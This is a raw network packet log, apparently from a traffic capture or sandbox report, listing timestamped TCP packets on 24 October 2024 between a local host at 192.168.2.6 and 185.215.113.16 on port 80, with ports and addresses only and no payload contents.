Oct 24, 2024 04:58:13.904757023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.904778004 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.904812098 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.904815912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.904845953 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.904900074 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.904901028 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.904934883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.904946089 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.904969931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905004025 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905004978 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905034065 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905040026 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905056000 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905080080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905087948 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905119896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905158997 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905177116 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905225992 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905337095 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905371904 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905395985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905407906 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905441046 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905442953 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905463934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905478001 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905510902 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905536890 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905549049 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905561924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905580044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905601025 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905632973 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905788898 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905805111 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905821085 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.905849934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905849934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.905891895 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.943499088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.943557024 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.943578959 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.943615913 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.943625927 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.943650007 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.943660021 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.943684101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.943695068 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.943720102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.943732023 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.943753004 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.943769932 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.943788052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.943835974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.943887949 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.943919897 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.943969011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.943973064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944006920 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944013119 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944051027 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944060087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944089890 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944122076 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944144964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944160938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944171906 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944195032 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944207907 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944228888 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944262028 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944274902 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944313049 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944416046 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944449902 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944459915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944483995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944530964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944593906 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944628000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944644928 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944664001 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944675922 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944710970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944730997 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944765091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944811106 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944876909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944931030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944966078 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.944974899 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.944999933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.945008039 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.945035934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.945044041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.945085049 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.945210934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.945240021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.945260048 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.945280075 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.945323944 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.945358038 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.945374012 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.945391893 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.945400953 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.945425987 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.945437908 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.945475101 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.945480108 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.945538044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.956609964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.956662893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.956712961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.956716061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.956748009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.956783056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.956815958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.956815958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.956850052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.956891060 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.957055092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.957093000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.957115889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.985790014 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.985829115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.985882998 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.997915030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.997972965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.997980118 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998022079 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998029947 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998076916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998087883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998136044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998142958 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998178959 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998188972 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998214006 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998219967 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998254061 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998266935 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998301983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998334885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998346090 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998369932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998379946 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998404980 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998420000 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998439074 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998450041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998483896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998673916 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998709917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998728037 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998744965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998754025 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998780012 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998786926 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998814106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.998820066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.998859882 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.999062061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.999114990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.999176979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.999212027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.999245882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.999248981 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.999279976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.999335051 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.999337912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.999376059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.999486923 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.999489069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.021413088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.021466970 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.021478891 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.021502972 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.021517038 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.021537066 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.021548033 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.021573067 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.021580935 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.021610022 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.021617889 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.021653891 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.021800995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.021836042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.021855116 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.021869898 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.021879911 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.021905899 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.021914959 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.021944046 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.021949053 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.021981001 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.021996975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.022016048 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.022027016 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.022053003 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.022056103 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.022109985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.022468090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.022504091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.022538900 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.022552967 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.022573948 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.022586107 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.022610903 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.022625923 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.022649050 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.022655964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.022696972 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.022701979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.022736073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.022770882 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.022780895 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.022805929 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.022814989 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.022852898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.023046017 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.023078918 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.023096085 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.023116112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.023123026 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.023156881 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.023200989 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.023236036 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.023252964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.023272038 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.023281097 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.023309946 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.060791969 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.060837030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.060853004 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.060878992 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.060899019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.060935974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.060950994 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.060970068 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.060978889 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061012983 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061026096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061064005 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061100006 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061106920 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061136961 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061137915 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061175108 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061218977 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061336994 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061371088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061387062 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061405897 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061420918 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061439991 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061455011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061494112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061528921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061537027 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061547041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061582088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061614990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061628103 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061650038 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061661005 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061686039 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061707973 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061733007 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061774969 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061815023 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061830044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061866045 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061873913 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061901093 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061912060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061937094 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.061945915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.061985970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.062096119 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.062129021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.062153101 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.062163115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.062175035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.062206984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.062247992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.062292099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.062299967 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.062334061 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.062340975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.062366962 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.062381029 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.062403917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.062413931 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.062488079 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.062576056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.062625885 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.062629938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.062666893 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.062678099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.062700987 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.062711000 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.062737942 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.062742949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.062783957 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.075962067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.075997114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.076014996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.076033115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.076069117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.076077938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.076103926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.076137066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.076180935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.108643055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.108680010 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.108722925 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.108732939 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.108762980 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.108788967 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.108824015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.108836889 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.108859062 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.108865023 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.108896971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.108915091 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.108951092 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.108984947 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.108997107 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.109019041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.109049082 CEST	49996	80	192.168.2.6	185.215.113.16
